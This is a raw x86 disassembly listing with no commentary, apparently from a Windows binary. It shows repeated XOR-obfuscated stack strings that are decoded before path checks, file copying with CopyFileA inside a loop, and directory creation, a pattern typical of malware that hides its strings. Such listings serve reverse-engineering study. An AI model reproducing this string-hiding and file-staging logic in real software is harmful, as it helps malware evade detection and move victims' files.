cmova ecx, dword [ebp - 0xe78]
call fcn.004e6ca0
test al, al
je 0x410897
mov dword [ebp - 0x20], 0xb3ea90c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5f0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5f0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1148]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5f0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7b
or dword [ebp - 0x38], 8
cmp dword [eax + 0x14], 0xf
jbe 0x41088a
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x41089b
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x7a
mov eax, dword [ebp - 0x38]
test al, 8
je 0x4108ba
and eax, 0xfffffff7
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x41099a
mov dword [ebp - 0x20], 0xb3ea90c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xf940fadb
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x600]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x600]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x600], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x7c
sub esp, 0x14
lea eax, [ebp - 0xe78]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x7d
mov byte [ebp - 4], 0x7a
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x41099a
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xabfa87c9
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0x8a2198ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x20], 0x7dbbe183
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x610]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x610]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe90]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x610], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xe90]
cmp dword [ebp - 0xe7c], 0xf
cmova ecx, dword [ebp - 0xe90]
call fcn.004e6ca0
test al, al
je 0x410b1e
mov dword [ebp - 0x20], 0xabfa87c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x8a2198ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x20], 0x7dbbe183
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x620]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x620]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1010]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x620], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7f
or dword [ebp - 0x38], 0x10
cmp dword [eax + 0x14], 0xf
jbe 0x410b11
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x410b22
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x7e
mov eax, dword [ebp - 0x38]
test al, 0x10
je 0x410b41
and eax, 0xffffffef
lea ecx, [ebp - 0x1010]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x410c21
mov dword [ebp - 0x20], 0xabfa87c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x8a2198ba
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x20], 0x7dbbe183
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x630]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x630]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x630], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x80
sub esp, 0x14
lea eax, [ebp - 0xe90]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x7e
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x410c21
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xb1f480c9
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xd72793bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x20], 0x13d4e18c
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x640]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xb14]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x640], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0xb14]
cmp dword [ebp - 0xb00], 0xf
cmova eax, dword [ebp - 0xb14]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x83
mov byte [ebp - 4], 0x82
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x410de7
mov dword [ebp - 0x20], 0xb1f480c9
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xd72793bd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x20], 0x13d4e18c
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x650]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1028]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x650], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x84
cmp dword [ecx + 0x14], 0xf
jbe 0x410dac
mov ecx, dword [ecx]
cmp dword [ebp - 0xb00], 0xf
lea eax, [ebp - 0xb14]
push 0
cmova eax, dword [ebp - 0xb14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x1028]
call fcn.00402df0
test esi, esi
je 0x410de7
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xb14]
call fcn.00402df0
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xe90]
call fcn.00402df0
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xe78]
call fcn.00402df0
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xe60]
call fcn.00402df0
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xe48]
call fcn.00402df0
cmp byte [ebp - 0x32], 0
jne 0x410e47
push ecx
lea ecx, [ebp - 0x148]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x6e8]
call fcn.00402df0
mov dword [ebp - 0x20], 0xa7f4b7c9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x660]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x660]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x750]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x660], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x85
lea eax, [ebp - 0x750]
cmp dword [ebp - 0x73c], 0xf
push 0
cmova eax, dword [ebp - 0x750]
push eax
call edi
test eax, eax
je 0x411848
mov dword [ebp - 0x20], 0xa7f497c9
xor al, al
mov dword [ebp - 0x1c], 0xf940fadb
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x670]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1040]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x670], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x86
mov dword [ebp - 0x20], 0x9bcbb3d4
mov dword [ebp - 0x1c], 0xf901ae9a
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x680], ecx
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x680]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x680]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x680], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xef0]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1040]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0xef0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x89
push 1
mov byte [ebp - 4], 0x88
xor dl, dl
lea ecx, [ebp - 0xa54]
call fcn.004c6000
add esp, 0x1c
mov byte [ebp - 4], 0x8a
mov eax, dword [ebp - 0xa54]
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x3c], ecx
cmp eax, ecx
je 0x411815
mov edi, dword [ebp - 0x38]
xorps xmm0, xmm0
mov dword [ebp - 0x114], 0
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x110], 0
mov edx, 0x16
cmp dword [eax + 0x14], 0xf
mov ecx, eax
mov esi, dword [eax + 0x10]
mov dword [ebp - 0x7c], eax
jbe 0x4110fc
mov ecx, dword [eax]
mov dword [ebp - 0x7c], ecx
cmp esi, 0x7fffffff
ja 0x4122ac
cmp esi, 0xf
ja 0x411129
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x110], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x124], xmm0
jmp 0x411183
mov eax, esi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x41113c
mov eax, closesocket
jmp 0x411142
cmp eax, 0x16
cmovb eax, edx
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.004032d0
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x110], ecx
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x7c]
mov dword [ebp - 0x124], eax
push eax
mov dword [ebp - 0x114], esi
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x8b
lea eax, [ebp - 0xca0]
mov byte [ebp - 0x74], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x8c
lea eax, [ebp - 0x124]
cmp dword [ebp - 0x110], 0xf
lea ecx, [ebp - 0xca0]
push dword [ebp - 0x114]
cmova eax, dword [ebp - 0x124]
push eax
push dword [ebp - 0x74]
call fcn.00429070
or edi, 0x200
add esp, 0xc
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x8b
and edi, 0xfffffdff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0xca0]
cmp dword [ebp - 0xc8c], 7
mov eax, dword [ebp - 0xc90]
cmova ecx, dword [ebp - 0xca0]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0x9d8], eax
push ecx
lea eax, [ebp - 0x9d8]
sar esi, 1
push eax
lea ecx, [ebp - 0xec0]
mov dword [ebp - 0x9d4], esi
call fcn.0041a4f0
lea eax, [ebp - 0x10c]
or edi, 0x100
push eax
lea ecx, [ebp - 0xec0]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x8f
and edi, 0xfffffeff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0xec0]
call fcn.004188d0
mov dword [ebp - 0x20], 0xa7f497bb
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x98], 0x7dbb92e6
mov dword [ebp - 0x94], 0x14d846fe
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x90], 0xdf9be395
mov dword [ebp - 0x8c], 0xf940fadb
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x88], 0x7dbb92e6
mov dword [ebp - 0xb70], eax
mov dword [ebp - 0x84], 0x14d846fe
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xb6c], ecx
mov ecx, dword [ebp - 0x84]
movaps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0xb68], eax
mov dword [ebp - 0xb64], ecx
xorps xmm1, xmmword [ebp - 0xb70]
lea edx, [ebp - 0x200]
movaps xmmword [ebp - 0x200], xmm1
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x411320
sub edx, ecx
lea eax, [ebp - 0x200]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov dword [ebp - 0xc0], 0xb6f58abb
lea edx, [ebp - 0x210]
mov dword [ebp - 0xbc], 0xf940fadb
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x210], eax
mov dword [ebp - 0xb8], 0x7dbb92e6
mov dword [ebp - 0xb4], 0x14d846fe
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x208], eax
mov dword [ebp - 0xb0], 0xdf9be395
mov dword [ebp - 0xac], 0xf940fadb
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0xa8], 0x7dbb92e6
mov dword [ebp - 0xb60], eax
mov dword [ebp - 0xb5c], ecx
mov dword [ebp - 0xa4], 0x14d846fe
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0xb54], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb58], eax
xorps xmm1, xmmword [ebp - 0xb60]
movaps xmmword [ebp - 0x210], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x411430
sub edx, ecx
lea eax, [ebp - 0x210]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov dword [ebp - 0xd8], 0xdff987bb
lea edx, [ebp - 0x220]
mov dword [ebp - 0xd4], 0xf940fadb
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0xd0], 0x7dbb92e6
mov dword [ebp - 0xcc], 0x14d846fe
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0xc8], 0xdf9be395
mov dword [ebp - 0xc4], 0xf940fadb
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1c8], 0x7dbb92e6
mov dword [ebp - 0xb80], eax
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0x1c4], 0x14d846fe
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0xb74], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb78], eax
xorps xmm1, xmmword [ebp - 0xb80]
movaps xmmword [ebp - 0x220], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x411540
sub edx, ecx
lea eax, [ebp - 0x220]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov edi, dword [ebp - 0x38]
jmp 0x4117ca
mov dword [ebp - 0x248], 0xdf9be3c9
mov dword [ebp - 0x244], 0xf940fadb
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x188], 0x7dbb92e6
mov dword [ebp - 0x184], 0x14d846fe
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0xe8], 0xdf9be395
mov dword [ebp - 0xe4], 0xf940fadb
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x270], xmm1
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x270]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411640
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x740]
sub eax, edx
cmp eax, ecx
jb 0x4122ac
cmp dword [ebp - 0x73c], 0xf
lea eax, [ebp - 0x750]
push ecx
cmova eax, dword [ebp - 0x750]
lea ecx, [ebp - 0x270]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xed8]
call fcn.0041e8a0
mov edi, dword [ebp - 0x38]
or edi, 0x400
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x93
lea eax, [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0xed8]
push dword [ebp - 0xfc]
cmova eax, dword [ebp - 0x10c]
push eax
call fcn.00418f00
mov dword [ebp - 0x1b0], 0
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1ac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c0], xmm0
or edi, 0x800
movups xmm0, xmmword [eax]
push 0
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x124]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x1ac], 0xf
cmova ecx, dword [ebp - 0x1c0]
cmp dword [ebp - 0x110], 0xf
push ecx
cmova eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffff7ff
mov esi, eax
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x92
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0xf
jbe 0x41178b
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411781
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4122a7
push ecx
push edx
call fcn.004338f3
add esp, 8
and edi, 0xfffffbff
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0xed8]
call fcn.00402df0
test esi, esi
je 0x4117ca
mov byte [ebp - 0x33], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x10c]
call fcn.00402df0
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0xca0]
call fcn.004188d0
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x124]
call fcn.00402df0
mov eax, dword [ebp - 0x9c]
add eax, 0x18
mov dword [ebp - 0x9c], eax
cmp eax, dword [ebp - 0x3c]
jne 0x4110c6
cmp byte [ebp - 0x33], 0
jne 0x411824
push ecx
lea ecx, [ebp - 0x750]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0xa54]
call fcn.004185d0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xef0]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x28], 0xbbf2b3c9
lea edx, [ebp - 0x260]
mov dword [ebp - 0x24], 0xf92e93bc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x4c], ecx
